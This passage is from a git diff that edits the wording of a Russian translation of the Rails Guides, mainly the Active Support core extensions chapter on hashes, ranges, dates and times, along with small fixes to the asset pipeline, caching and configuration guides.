углубленном объединении, если один и тот же ключ обнаруживается в обоих хэшах, и их значения также хэши, то в результирующем хэше будет _объединение_ их значений. ```ruby {a: {b: 1}}.deep_merge(a: {c: 2}) # => {:a=>{:b=>1, :c=>2}} ``` -Метод `deep_merge!` выполняет углубленное объединение на месте. +Метод `deep_merge!` выполняет углубленное объединение, модифицируя на месте: NOTE: Определено в `active_support/core_ext/hash/deep_merge.rb`. -### "Глубокое" дублирование +### Глубокое дублирование -Метод `Hash#deep_dup` дублирует себя и все ключи и значения внутри рекурсивно с помощью метода Active Support `Object#deep_dup`. Он работает так же, как `Enumerator#each_with_object`, посылая метод `deep_dup` в каждую пару внутри. +Метод `Hash#deep_dup` дублирует себя, а также все ключи и значения внутри, рекурсивно с помощью метода Active Support `Object#deep_dup`. Он работает так же, как `Enumerator#each_with_object`, посылая метод `deep_dup` в каждую пару внутри. ```ruby hash = { a: 1, b: { c: 2, d: [3, 4] } } @@ -2608,7 +2608,7 @@ NOTE: Определено в `active_support/core_ext/object/deep_dup.rb`. {a: 1}.with_indifferent_access.except("a") # => {} ``` -Также имеется восклицательный вариант `except!`, который убирает ключи в самом получателе. +Также имеется вариант с восклицательным знаком `except!`, который убирает ключи в самом получателе. NOTE: Определено в `active_support/core_ext/hash/except.rb`. @@ -2621,7 +2621,7 @@ NOTE: Определено в `active_support/core_ext/hash/except.rb`. # => {"" => nil, "1" => 1, "A" => :a} ``` -В случае коллизии будет выбрано одно из значений. Выбранное значение не всегда будет одним и тем же для одного и того же хэша: +В случае коллизии будет выбрано одно из значений. Выбранное значение не всегда будет одинаковым для одного и того же хэша: ```ruby {"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase } @@ -2643,7 +2643,7 @@ def symbolize_keys end ``` -Также имеется восклицательный вариант `transform_keys!` применяющий операции в блоке к самому получателю. +Также имеется вариант с восклицательным знаком `transform_keys!`, применяющий операции в блоке к ключам в самом получателе. Кроме этого, можно использовать `deep_transform_keys` и `deep_transform_keys!` для выполнения операции в блоке ко всем ключам в заданном хэше и всех хэшах, вложенных в него. Пример результата: @@ -2656,14 +2656,14 @@ NOTE: Определено в `active_support/core_ext/hash/keys.rb`. #### `stringify_keys` и `stringify_keys!` -Метод `stringify_keys` возвращает хэш, в котором ключи получателя приведены к строке. Это выполняется с помощью применения к ним `to_s`: +Метод `stringify_keys` возвращает хэш, в котором ключи получателя преобразованы в строку. Это выполняется с помощью применения к ним `to_s`: ```ruby {nil => nil, 1 => 1, a: :a}.stringify_keys # => {"" => nil, "1" => 1, "a" => :a} ``` -В случае коллизии будет выбрано одно из значений. Выбранное значение не всегда будет одним и тем же для одного и того же хэша: +В случае коллизии ключей будет выбрано одно из значений. Выбранное значение не всегда будет одинаковым для одного и того же хэша: ```ruby {"a" => 1, a: 2}.stringify_keys @@ -2683,11 +2683,11 @@ def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0") end ``` -Вторая строка может безопасно обращаться к ключу "type" и позволяет пользователю передавать или `:type`, или "type". +Вторая строчка может безопасно обратиться к ключу "type" и позволить пользователю передавать или `:type`, или "type". -Также имеется восклицательный вариант `stringify_keys!`, который приводит к строке ключи в самом получателе. +Также имеется вариант с восклицательным знаком `stringify_keys!`, который преобразует к строке ключи в самом получателе. -Кроме этого, можно использовать `deep_stringify_keys` и `deep_stringify_keys!` для приведения к строке всех ключей в заданном хэше и всех хэшах, вложенных в него. Пример результата: +Кроме этого, можно использовать `deep_stringify_keys` и `deep_stringify_keys!` для преобразования к строке всех ключей в заданном хэше и всех хэшей, вложенных в него. Пример результата: ```ruby {nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys @@ -2698,16 +2698,16 @@ NOTE: Определено в `active_support/core_ext/hash/keys.rb`. #### `symbolize_keys` и `symbolize_keys!` -Метод `symbolize_keys` возвращает хэш, в котором ключи получателя приведены к символам там, где это возможно. Это выполняется с помощью применения к ним `to_sym`: +Метод `symbolize_keys` возвращает хэш, в котором ключи получателя преобразованы к символам там, где это возможно. Это выполняется с помощью применения к ним `to_sym`: ```ruby {nil => nil, 1 => 1, "a" => "a"}.symbolize_keys # => {nil=>nil, 1=>1, :a=>"a"} ``` -WARNING. Отметьте в предыдущем примере, что только один ключ был приведен к символу. +WARNING. Отметьте в предыдущем примере, что только один ключ был преобразован к символу. -В случае коллизии будет выбрано одно из значений. Выбранное значение не всегда будет одним и тем же для одного и того же хэша: +В случае коллизии ключей будет выбрано одно из значений. Выбранное значение не всегда будет одинаковым для одного и того же хэша: ```ruby {"a" => 1, a: 2}.symbolize_keys @@ -2727,11 +2727,11 @@ def rewrite_path(options) end ``` -Вторая строка может безопасно обращаться к ключу `:params` и позволяет пользователю передавать или `:params`, или "params". +Вторая строчка может безопасно обратиться к ключу `:params` и позволить пользователю передавать или `:params`, или "params". -Также имеется восклицательный вариант `symbolize_keys!`, который приводит к символу ключи в самом получателе. +Также имеется вариант с восклицательным знаком `symbolize_keys!`, который приводит к символу ключи в самом получателе. -Кроме этого, можно использовать `deep_symbolize_keys` и `deep_symbolize_keys!` для приведения к символам всех ключей в заданном хэше и всех хэшах, вложенных в него. Пример результата: +Кроме этого, можно использовать `deep_symbolize_keys` и `deep_symbolize_keys!` для преобразования к символам всех ключей в заданном хэше и всех хэшей, вложенных в него. Пример результата: ```ruby {nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys @@ -2742,7 +2742,7 @@ NOTE: Определено в `active_support/core_ext/hash/keys.rb`. #### `to_options` и `to_options!` -Методы `to_options` и `to_options!` соответствующие псевдонимы `symbolize_keys` и `symbolize_keys!`. +Методы `to_options` и `to_options!` являются псевдонимами `symbolize_keys` и `symbolize_keys!` соответственно. NOTE: Определено в `active_support/core_ext/hash/keys.rb`. @@ -2769,13 +2769,13 @@ NOTE: Определено в `active_support/core_ext/hash/keys.rb`. { nil => nil, 1 => 1, :x => :a }.transform_values { |value| value.to_s.upcase } # => {nil=>"", 1=>"1", :x=>"A"} ``` -Также имеется восклицательный вариант `transform_values!`, который применяет операции блока к значениям самого получателя. +Также имеется вариант с восклицательным знаком `transform_values!`, который применяет операции блока к значениям самого получателя. NOTE: Определено в `active_support/core_ext/hash/transform_values.rb`. -### Вырезание (slicing) +### Нарезка -В Ruby есть встроенная поддержка для вырезания строк или массивов. Active Support расширяет вырезание на хэши: +В Ruby есть встроенная поддержка для нарезки строк или массивов. Active Support расширяет нарезку на хэши: ```ruby {a: 1, b: 2, c: 3}.slice(:a, :c) @@ -2792,9 +2792,9 @@ NOTE: Определено в `active_support/core_ext/hash/transform_values.rb` # => {:a=>1} ``` -NOTE. Вырезание может быть полезным для экранизации хэшей опций с помощью белого списка ключей. +NOTE. Нарезка может быть полезной для экранизации хэш-опции с помощью белого списка ключей. -Также есть `slice!`, который выполняет вырезание на месте, возвращая то, что было убрано: +Также есть `slice!`, который выполняет нарезку, модифицируя на месте, и возвращает что было убрано: ```ruby hash = {a: 1, b: 2} @@ -2804,7 +2804,7 @@ hash # => {:a=>1} NOTE: Определено в `active_support/core_ext/hash/slice.rb`. -### Извлечение (extracting) +### Извлечение Метод `extract!` убирает и возвращает пары ключ/значение, соответствующие заданным ключам. @@ -2826,7 +2826,7 @@ NOTE: Определено в `active_support/core_ext/hash/slice.rb`. ### Индифферентный доступ -Метод `with_indifferent_access` возвращает `ActiveSupport::HashWithIndifferentAccess` его получателя: +Метод `with_indifferent_access` возвращает `ActiveSupport::HashWithIndifferentAccess` из своего получателя: ```ruby {a: 1}.with_indifferent_access["a"] # => 1 @@ -2836,7 +2836,7 @@ NOTE: Определено в `active_support/core_ext/hash/indifferent_access.r ### Уплотнение -Методы `compact` и `compact!` возвращают хэш без элементов со значением `nil`. +Методы `compact` и `compact!` возвращают Hash без элементов со значением `nil`. ```ruby {a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2} @@ -2845,7 +2845,7 @@ NOTE: Определено в `active_support/core_ext/hash/indifferent_access.r NOTE: Определено в `active_support/core_ext/hash/compact.rb`. Расширения для `Regexp` ---------------------- +----------------------- ### `multiline?` @@ -2859,7 +2859,7 @@ Regexp.new('.').multiline? # => false Regexp.new('.', Regexp::MULTILINE).multiline? # => true ``` -Rails использует этот метод в одном месте, в коде маршрутизации. Регулярные выражения Multiline недопустимы для маршрутных требований, и этот флаг облегчает обеспечение этого ограничения. +Rails использует этот метод в одном месте, в коде маршрутизации. Регулярные выражения Multiline недопустимы для маршрутных требований, и этот флаг облегчает соблюдение этого ограничения. ```ruby def assign_route_options(segments, defaults, requirements) @@ -2885,10 +2885,10 @@ Rails реализует `Regexp#match?` для версий Ruby ниже 2.4: Бэкпорт имеет тот же интерфейс, где отсутствуют побочные эффекты в вызывающем методе, например, не устанавливает `$1` и ему подобное, но он не имеет преимуществ в скорости. Его цель состоит в том, чтобы предоставить возможность писать код, совместимый с версией 2.4. Rails сам использует это условие внутри, например. -Active Support определяет Regexp#match? только, если он отсутствует, поэтому код, запущенный под версией 2.4 или более поздней, запускает исходную версию и повышает производительность. +Active Support определяет `Regexp#match?` только, если он отсутствует, поэтому код, запущенный под версией 2.4 или более поздней, запускает исходную версию и повышает производительность. Расширения для `Range` --------------------- +---------------------- ### `to_s` @@ -2902,7 +2902,7 @@ Active Support расширяет метод `Range#to_s` так, что он п # => "BETWEEN '2009-10-25' AND '2009-10-26'" ``` -Как изображено в примере, формат `:db` генерирует SQL условие `BETWEEN`. Это используется Active Record в его поддержке интервальных значений в условиях. +Как изображено в примере, формат `:db` генерирует SQL условие `BETWEEN`. Это используется Active Record в поддержке значений интервала в условиях. NOTE: Определено в `active_support/core_ext/range/conversions.rb`. @@ -2914,7 +2914,7 @@ NOTE: Определено в `active_support/core_ext/range/conversions.rb`. (2..3).include?(Math::E) # => true ``` -Active Support расширяет эти методы так, что аргумент может также быть другим интервалом. В этом случае тестируется, принадлежат ли концы аргумента самому получателю: +Active Support расширяет эти методы так, что аргумент, в свою очередь, может быть другим интервалом. В этом случае проверяется, принадлежат ли концы интервала аргументов самому получателю: ```ruby (1..10).include?(3..7) # => true @@ -2942,13 +2942,13 @@ NOTE: Определено в `active_support/core_ext/range/include_range.rb`. NOTE: Определено в `active_support/core_ext/range/overlaps.rb`. Расширения для `Date` -------------------- +--------------------- ### Вычисления NOTE: Все следующие методы определены в `active_support/core_ext/date/calculations.rb`. -INFO: В следующих методах вычисления имеют крайний случай октября 1582 года, когда дней с 5 по 14 просто не существовало. Это руководство не документирует поведение около этих дней для краткости, достаточно сказать, что они делают то, что от них следует ожидать. Скажем, `Date.new(1582, 10, 4).tomorrow` возвратит `Date.new(1582, 10, 15)`, и так далее. Смотрите `test/core_ext/date_ext_test.rb` в тестовом наборе Active Support, чтобы понять ожидаемое поведение. +INFO: Следующие методы вычисления имеют [временную пропасть](https://ru.wikipedia.org/wiki/Григорианский_календарь) в октябре 1582 года, когда дней с 5 по 14 (включительно) просто не существовало. Это руководство не документирует свое поведение в те дни для краткости, но достаточно сказать, будет происходит то, что от них ожидается. То есть, `Date.new(1582, 10, 4).tomorrow` возвратит `Date.new(1582, 10, 15)`, и так далее. Пожалуйста, проверьте `test/core_ext/date_ext_test.rb` в тестовом наборе Active Support, чтобы понять ожидаемое поведение. #### `Date.current` @@ -3020,7 +3020,7 @@ Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001 ##### `beginning_of_week`, `end_of_week` -Методы `beginning_of_week` и `end_of_week` возвращают даты для начала и конца недели соответственно. Предполагается, что неделя начинается с понедельника, но это может быть изменено переданным аргументом, установив локально для треда `Date.beginning_of_week` или `config.beginning_of_week`. +Методы `beginning_of_week` и `end_of_week` возвращают даты начала и конца недели соответственно. Предполагается, что неделя начинается с понедельника, но это может быть изменено переданным аргументом, установив локально для треда `Date.beginning_of_week` или `config.beginning_of_week`. ```ruby d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 @@ -3034,7 +3034,7 @@ d.end_of_week(:sunday) # => Sat, 08 May 2010 ##### `monday`, `sunday` -Методы `monday` и `sunday` возвращают даты для прошлого понедельника или следующего воскресенья, соответственно. +Методы `monday` и `sunday` возвращают даты предыдущего понедельника или следующего воскресенья соответственно. ```ruby d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 @@ -3050,7 +3050,7 @@ d.sunday # => Sun, 16 Sep 2012 ##### `prev_week`, `next_week` -`next_week` принимает символ с днем недели на английском (по умолчанию локальный для треда `Date.beginning_of_week`, или`config.beginning_of_week` или `:monday`) и возвращает дату, соответствующую этому дню на следующей неделе: +`next_week` принимает символ с днем недели на английском (по умолчанию локально для треда `Date.beginning_of_week` или `config.beginning_of_week`, или `:monday`) и возвращает дату, соответствующую этому дню на следующей неделе: ```ruby d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 @@ -3072,7 +3072,7 @@ d.prev_week(:friday) # => Fri, 30 Apr 2010 ##### `beginning_of_month`, `end_of_month` -Методы `beginning_of_month` и `end_of_month` возвращают даты для начала и конца месяца: +Методы `beginning_of_month` и `end_of_month` возвращают даты начала и конца месяца: ```ruby d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 @@ -3110,7 +3110,7 @@ d.end_of_year # => Fri, 31 Dec 2010 ##### `years_ago`, `years_since` -Метод `years_ago` получает число лет и возвращает ту же дату, но на столько лет назад: +Метод `years_ago` получает число лет и возвращает ту же дату, что и много лет назад: ```ruby date = Date.new(2010, 6, 7) @@ -3158,7 +3158,7 @@ Date.new(2010, 5, 24).weeks_ago(2) # => Mon, 10 May 2010 ##### `advance` -Более обычным способом перепрыгнуть на другие дни является `advance`. Этот метод получает хэш с ключами `:years`, `:months`, `:weeks`, `:days`, и возвращает дату, передвинутую на столько, сколько указывают существующие ключи: +Более обычным способом перейти на другие дни является `advance`. Этот метод получает хэш с ключами `:years`, `:months`, `:weeks`, `:days`, и возвращает дату, передвинутую на столько, сколько указывают существующие ключи: ```ruby date = Date.new(2010, 6, 6) @@ -3168,7 +3168,7 @@ date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010 Отметьте в предыдущем примере, что приросты могут быть отрицательными. -Для выполнения вычисления метод сначала приращивает года, затем месяцы, затем недели, и наконец дни. Порядок важен применительно к концам месяцев. Скажем, к примеру, мы в конце февраля 2010 и хотим переместиться на один месяц и один день вперед. +Для выполнения вычисления метод сначала приращивает года, затем месяцы, затем недели, и, наконец, дни. Этот порядок важен в концах месяцев. Скажем, к примеру, мы в конце февраля 2010, и мы хотим переместиться на один месяц и один день вперед. Метод `advance` передвигает сначала на один месяц, и затем на один день, результат такой: @@ -3177,7 +3177,7 @@ Date.new(2010, 2, 28).advance(months: 1, days: 1) # => Sun, 29 Mar 2010 ``` -Если бы мы делали по другому, результат тоже был бы другой: +Хотя, если бы мы делали по-другому, результат тоже был бы другой: ```ruby Date.new(2010, 2, 28).advance(days: 1).advance(months: 1) @@ -3193,7 +3193,7 @@ Date.new(2010, 12, 23).change(year: 2011, month: 11) # => Wed, 23 Nov 2011 ``` -Метод не толерантен к несуществующим датам, если изменение невалидно, вызывается `ArgumentError`: +Метод не принимает несуществующие даты, если изменение невалидно, вызывается `ArgumentError`: ```ruby Date.new(2010, 1, 31).change(month: 2) @@ -3213,7 +3213,7 @@ d - 3.hours # => Sun, 08 Aug 2010 21:00:00 UTC +00:00 ``` -Это переводится в вызовы `since` или `advance`. Для примера мы получим правильный прыжок в реформе календаря: +Они переводят в вызовы `since` или `advance`. Например, здесь мы получим правильный переход ко времени календарной реформы: ```ruby Date.new(1582, 10, 4) + 1.day @@ -3297,9 +3297,9 @@ date.since(1) # => Fri, 11 Jun 2010 00:00:01 EDT -04:00 ``` Расширения для `DateTime` ------------------------ +------------------------- -WARNING: `DateTime` не знает о правилах DST (переходов на летнее время) и некоторые из этих методов сталкиваются с крайними случаями, когда переход на и с летнего времени имеет место. К примеру, `seconds_since_midnight` может не возвратить настоящее значение для таких дней. +WARNING: `DateTime` не знает о правилах DST (переходов на летнее время), и поэтому некоторые из этих методов сталкиваются с временной пропастью, когда переход на и с летнего времени имеет место. К примеру, `seconds_since_midnight` может не возвратить настоящее значение для таких дней. ### Вычисления @@ -3344,7 +3344,7 @@ ago since (in) ``` -С другой стороны, `advance` и `change` также определяются и поддерживают больше опций, чем было сказано [ранее](/active-support-core-extensions#advance). +С другой стороны, `advance` и `change` также определены и поэтому поддерживают больше опций, описанных [ранее](/active-support-core-extensions#advance). Следующие методы реализованы только в `active_support/core_ext/date_time/calculations.rb`, так как они имеют смысл только при использовании с экземпляром `DateTime`: @@ -3357,7 +3357,7 @@ end_of_hour ##### `DateTime.current` -Active Support определяет `DateTime.current` похожим на `Time.now.to_datetime`, за исключением того, что он учитывает временную зону пользователя, если она определена. Он также определяет условия экземпляра `past?` и `future?` относительно `DateTime.current`. +Active Support определяет `DateTime.current` похожим на `Time.now.to_datetime`, за исключением того, что он учитывает временную зону пользователя, если она определена. Он также определяет `DateTime.yesterday` и `DateTime.tomorrow`, и условия экземпляра `past?` и `future?` относительно `DateTime.current`. #### Другие расширения @@ -3383,7 +3383,7 @@ now.utc # => Mon, 07 Jun 2010 23:27:52 +0000 ##### `utc?` -Условие `utc?` говорит, имеет ли получатель UTC как его временную зону: +Условие `utc?` говорит, имеет ли получатель UTC в качестве своей временной зоны: ```ruby now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400 @@ -3402,9 +3402,9 @@ d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1) # => Tue, 06 Sep 2011 12:34:32 +0000 ``` -Этот метод сначала вычисляет дату назначения, передавая `:years`, `:months`, `:weeks` и `:days` в `Date#advance`, описанный [ранее](/active-support-core-extensions#advance). После этого, он корректирует время, вызвав `since` с количеством секунд, на которое нужно передвинуть. Этот порядок обоснован, другой порядок мог бы дать другие дату и время в некоторых крайних случаях. Применим пример в `Date#advance`, и расширим его, показав обоснованность порядка, применимого к битам времени. +Этот метод сначала вычисляет дату назначения, передавая `:years`, `:months`, `:weeks` и `:days` в `Date#advance`, описанный [ранее](/active-support-core-extensions#advance). После этого, он корректирует время, вызвав `since` с количеством секунд, на которое нужно передвинуть. Этот порядок обоснован, другой порядок мог бы дать другие дату и время для некоторых временных пропастей. Используем пример в `Date#advance`, и расширим его, показав обоснованность порядка, применимого к единицам измерения времени. -Если сначала передвинуть биты даты (относительный порядок вычисления, показанный ранее), а затем биты времени, мы получим для примера следующее вычисление: +Если сначала передвинуть единицы измерения даты (относительный порядок вычисления, показанный ранее), а затем единицы измерения времени, мы получим для примера следующее вычисление: ```ruby d = DateTime.new(2010, 2, 28, 23, 59, 59) @@ -3420,7 +3420,7 @@ d.advance(seconds: 1).advance(months: 1) # => Thu, 01 Apr 2010 00:00:00 +0000 ``` -WARNING: Поскольку `DateTime` не знает о переходе на летнее время, можно получить несуществующий момент времени без каких либо предупреждений или ошибок об этом. +WARNING: Поскольку `DateTime` не поддерживает DST (переход на летнее время), можно получить несуществующий момент времени без каких-либо предупреждений или сообщений об ошибке. #### Изменение компонентов @@ -3467,7 +3467,7 @@ now - 1.week # => Mon, 02 Aug 2010 23:15:17 +0000 ``` -Это переводится в вызовы `since` или `advance`. Для примера выполним корректный переход во время календарной реформы: +Они переводят в вызовы `since` или `advance`. Например, здесь мы получим правильный переход ко времени календарной реформы: ```ruby DateTime.new(1582, 10, 4, 23) + 1.hour @@ -3475,7 +3475,7 @@ DateTime.new(1582, 10, 4, 23) + 1.hour ``` Расширения для `Time` -------------------- +--------------------- ### Вычисления @@ -3523,7 +3523,7 @@ on_weekday? on_weekend? ``` -Это аналоги. Обратитесь к их документации в предыдущих разделах, но примите во внимание следующие различия: +Это аналоги. Обратитесь к их документации выше, но примите во внимание следующие различия: * `change` принимает дополнительную опцию `:usec`. * `Time` понимает летнее время (DST), поэтому вы получите правильные вычисления времени как тут: @@ -3539,7 +3539,7 @@ t.advance(seconds: 1) # => Sun Mar 28 03:00:00 +0200 2010 ``` -* Если `since` или `ago` перепрыгивает на время, которое не может быть выражено с помощью `Time`, вместо него возвращается объект `DateTime`. +* Если `since` или `ago` переходят на время, которое не может быть выражено с помощью `Time`, вместо него возвращается объект `DateTime`. #### `Time.current` @@ -3588,7 +3588,7 @@ Time.current Как и у `DateTime`, условия `past?` и `future?` выполняются относительно `Time.current`. -Если время, подлежащее конструированию лежит за рамками, поддерживаемыми `Time` на запущенной платформе, usecs отбрасываются и вместо этого возвращается объект `DateTime`. +Если время, подлежащее конструированию лежит за пределами интервала, поддерживаемого `Time` на запущенной платформе, usecs отбрасываются и вместо этого возвращается объект `DateTime`. #### Длительности @@ -3603,7 +3603,7 @@ now - 1.week # => Mon, 02 Aug 2010 23:21:11 UTC +00:00 ``` -Это переводится в вызовы `since` или `advance`. Для примера выполним корректный переход во время календарной реформы: +Они переводят в вызовы `since` или `advance`. Например, здесь мы получим правильный переход ко времени календарной реформы: ```ruby Time.utc(1582, 10, 3) + 5.days @@ -3638,13 +3638,13 @@ WARNING. Отметьте, что с помощью `atomic_write` нельзя NOTE: Определено в `active_support/core_ext/file/atomic.rb`. Расширения для `Marshal` ------------------------ +------------------------ ### `load` Active Support добавляет поддержку постоянной автозагрузки для `load`. -Например, хранилище кэша в файле десериализует следующим образом: +Например, хранилище кэша файлов десериализует следующим образом: ```ruby File.open(file_name) { |f| Marshal.load(f) } @@ -3661,9 +3661,9 @@ NOTE: Определено в `active_support/core_ext/marshal.rb`. Active Support добавляет `missing_name?` к `NameError`, который тестирует было ли исключение вызвано в связи с тем, что имя было передано как аргумент. -Имя может быть задано как символ или строка. Символ тестируется как простое имя константы, строка - как полное имя константы. +Имя может быть задано как символ или строка. Символ тестируется как простое имя константы, строка - как полностью определенное имя константы. -TIP: Символ может представлять полное имя константы как `:"ActiveRecord::Base"`, такое поведение для символов определено для удобства, а не потому, что такое возможно технически. +TIP: Символ может представлять полностью определенное имя константы как `:"ActiveRecord::Base"`, такое поведение для символов определено для удобства, а не потому, что такое возможно технически. К примеру, когда вызывается экшн `ArticlesController`, Rails пытается оптимистично использовать `ArticlesHelper`. Это нормально, когда не существует модуля хелпера, поэтому если вызывается исключение для этого имени константы, оно должно молчать. Но в случае, если `articles_helper.rb` вызывает `NameError` благодаря неизвестной константе, оно должно быть перевызвано. Метод `missing_name?` предоставляет способ проведения различия в этих двух случаях: diff --git a/source/api_app.md b/source/api_app.md index e925cb27..13cfa708 100644 --- a/source/api_app.md +++ b/source/api_app.md @@ -40,7 +40,7 @@ - Режим разработки: приложения Rails идут с разумными значениями по умолчанию для разработки, что делает разработку приятной без ущерба производительности для production. - Тестовый режим: то же самое, что и для режима разработки. - Логирование: приложения Rails логируют каждый запрос с уровнем детализации, приемлемым для текущего режима. Логи Rails в development включают информацию о среде запроса, запросах в базу данных и основную информацию о производительности. -- Безопасность: Rails обнаруживает и мешает исполнению [IP спуфинга](https://ru.wikipedia.org/wiki/IP-спуфинг), и безопасным способом обрабатывает криптографические подписи в [атаках по времени](https://ru.wikipedia.org/wiki/Атака_по_времени). Не знаете, что такое IP спуфинг или атака по времени? Вот-вот! +- Безопасность: Rails обнаруживает и мешает исполнению [IP спуфинга](https://ru.wikipedia.org/wiki/IP-спуфинг), и безопасным способом обрабатывает криптографические сигнатуры в [атаках по времени](https://ru.wikipedia.org/wiki/Атака_по_времени). Не знаете, что такое IP спуфинг или атака по времени? Вот-вот! - Парсинг параметров: Хотите устанавливать ваши параметры как JSON вместо URL-кодированной строки? Без проблем. Rails декодирует JSON и сделает его доступным в `params`. Хотите использовать вложенные URL-кодированные параметры? Это тоже работает. - Условный GETs: Rails поддерживает условный `GET` (`ETag` и `Last-Modified`), обрабатывая заголовки запроса и возвращая правильный отклик и код статуса. Все, что нужно, это использовать проверку [`stale?`](http://api.rubyonrails.org/classes/ActionController/ConditionalGet.html#method-i-stale-3F) в вашем контроллере, и Rails позаботится обо всех деталях HTTP. - Запросы HEAD: Rails прозрачно конвертирует запросы `HEAD` в `GET`, и возвращает только заголовки тем же образом. Это позволяет `HEAD` надежно работать во всех API Rails. diff --git a/source/asset_pipeline.md b/source/asset_pipeline.md index fda830ce..4ff9c3a4 100644 --- a/source/asset_pipeline.md +++ b/source/asset_pipeline.md @@ -406,7 +406,7 @@ config.assets.debug = false ``` -Ассеты компилируются и кэшируются при первом запросе после запуска сервера. Sprockets устанавливает HTTP заголовок контроля кэша `must-revalidate` для уменьшения нагрузки на последующие запросы - на них браузер получает отклик 304 (Not Modified). +Ассеты компилируются и кэшируются при первом запросе после запуска сервера. Sprockets устанавливает HTTP-заголовок контроля кэша `must-revalidate` для уменьшения нагрузки на последующие запросы - на них браузер получает отклик 304 (Not Modified). Если какой-либо из файлов в манифесте изменился между запросами, сервер возвращает новый скомпилированный файл. @@ -578,7 +578,7 @@ config.assets.compile = true При первом запросе ассеты компилируются и кэшируются так, как описывалось в разделе про [development](#in-development), и имена манифеста, использованного в хелперах, изменяется путем включения хэша SHA256. -Sprockets также устанавливает HTTP заголовок `Cache-Control` как `max-age=31536000`. Это сигнализирует всем кэшам между вашим сервером и браузером клиента, что это содержимое (отданный файл) может быть закэшировано на 1 год. В результате уменьшается количество запросов для этого ассета на ваш сервер; есть хороший шанс, что ассет будет в локальном кэше браузера или в каком-либо промежуточном кэше. +Sprockets также устанавливает HTTP-заголовок `Cache-Control` как `max-age=31536000`. Это сигнализирует всем кэшам между вашим сервером и браузером клиента, что это содержимое (отданный файл) может быть закэшировано на 1 год. В результате уменьшается количество запросов для этого ассета на ваш сервер; есть хороший шанс, что ассет будет в локальном кэше браузера или в каком-либо промежуточном кэше. Этот режим использует больше памяти, имеет худшее быстродействие, чем по-умолчанию, и не рекомендуется. diff --git a/source/autoloading_and_reloading_constants.md b/source/autoloading_and_reloading_constants.md index 0a5be5cd..8abbacd1 100644 --- a/source/autoloading_and_reloading_constants.md +++ b/source/autoloading_and_reloading_constants.md @@ -302,7 +302,7 @@ Rails автоматически загружает файлы с помощью Доступность автозагрузки ------------------------ -Rails всегда способен автоматически загружать свое окружение на лету. Например, команда `runner` делает автозагрузку: +Rails всегда способен автоматически загружать свое окружение на месте. Например, команда `runner` делает автозагрузку: ``` $ bin/rails runner 'p User.column_names' diff --git a/source/caching_with_rails.md b/source/caching_with_rails.md index 33e2a3d7..be591e91 100644 --- a/source/caching_with_rails.md +++ b/source/caching_with_rails.md @@ -32,7 +32,7 @@ NOTE: Изменение значения `config.action_controller.perform_cach ### Кэширование страницы -Кэширование страницы это механизм Rails, позволяющий запросу на сгенерированную страницу быть полностью обслуженным веб сервером (т.е. Apache или NGINX) в принципе, без прохождения через весь стек Rails. Хотя это и очень быстро, но не может быть применено к каждой ситуации (например, к страницам, требующим аутентификации). А так же, раз веб сервер получает файл напрямую из файловой системы, необходимо реализовать прекращение кэша. +Кэширование страницы это механизм Rails, позволяющий запросу на сгенерированную страницу быть полностью обслуженным веб-сервером (т.е. Apache или NGINX) в принципе, без прохождения через весь стек Rails. Хотя это и очень быстро, но не может быть применено к каждой ситуации (например, к страницам, требующим аутентификации). А также, раз веб-сервер получает файл напрямую из файловой системы, необходимо реализовать прекращение кэша. INFO: Кэширование страниц было убрано из Rails 4. Обратитесь к [гему actionpack-page_caching](https://github.com/rails/actionpack-page_caching). @@ -355,7 +355,7 @@ Rails.cache.read(site: "mysite", owners: [owner_1, owner_2]) Поддержка GET с условием (Conditional GET) ------------------------------------------ -GET с условием - это особенность спецификации HTTP, предоставляющая способ веб серверам сказать браузерам, что отклик на запрос GET не изменился с последнего запроса и может быть спокойно извлечен из кэша браузера. +GET с условием - это особенность спецификации HTTP, предоставляющая способ веб-серверам сказать браузерам, что отклик на запрос GET не изменился с последнего запроса и может быть спокойно извлечен из кэша браузера. Это работает с использованием заголовков HTTP_IF_NONE_MATCH и HTTP_IF_MODIFIED_SINCE для передачи туда-обратно уникального идентификатора контента и временной метки, когда содержимое было последний раз изменено. Если браузер делает запрос, в котором идентификатор контента (etag) или временная метка последнего изменения соответствует версии сервера, то серверу всего лишь нужно вернуть пустой отклик со статусом not modified. diff --git a/source/command_line.md b/source/command_line.md index cdfee301..39d97875 100644 --- a/source/command_line.md +++ b/source/command_line.md @@ -51,7 +51,7 @@ Rails создаст кучу всего с помощью такой мален ### `rails server` -Команда `rails server` запускает веб сервер Puma, поставляемый с Ruby. Его будем использовать всякий раз, когда захотим увидеть свою работу в веб браузере. +Команда `rails server` запускает веб-сервер Puma, поставляемый с Ruby. Его будем использовать всякий раз, когда захотим увидеть свою работу в веб браузере. Безо всякого принуждения, `rails server` запустит наше блестящее приложение на Rails: diff --git a/source/configuring.md b/source/configuring.md index 0d01f965..90da9ebd 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -166,7 +166,7 @@ Rails будет использовать эту конкретную настр * `config.assets.digest` включает использование меток SHA256 в именах ассетов. Установлено по умолчанию `true`. -* `config.assets.debug` отключает слияние и сжатие ассетов. Установлено по умолчанию `true` в `development.rb`. +* `config.assets.debug` отключает объединение и сжатие ассетов. Установлено по умолчанию `true` в `development.rb`. * `config.assets.version` опция, используемая в генерации хэша SHA256. Ее можно использовать чтобы принудительно перекомпилировать все файлы. @@ -329,7 +329,7 @@ config.middleware.delete Rack::MethodOverride `config.active_record` включает ряд конфигурационных опций: -* `config.active_record.logger` принимает логгер, соответствующий интерфейсу Log4r или дефолтного класса Ruby Logger, который затем передается на любые новые сделанные соединения с базой данных. Можете получить этот логгер, вызвав `logger` или на любом классе модели ActiveRecord, или на экземпляре модели ActiveRecord. Установите его в nil, чтобы отключить логирование. +* `config.active_record.logger` принимает логгер, соответствующий интерфейсу Log4r или дефолтного класса Ruby Logger, который затем передается на любые новые сделанные соединения с базой данных. Можете получить этот логгер, вызвав `logger` или на любом классе модели Active Record, 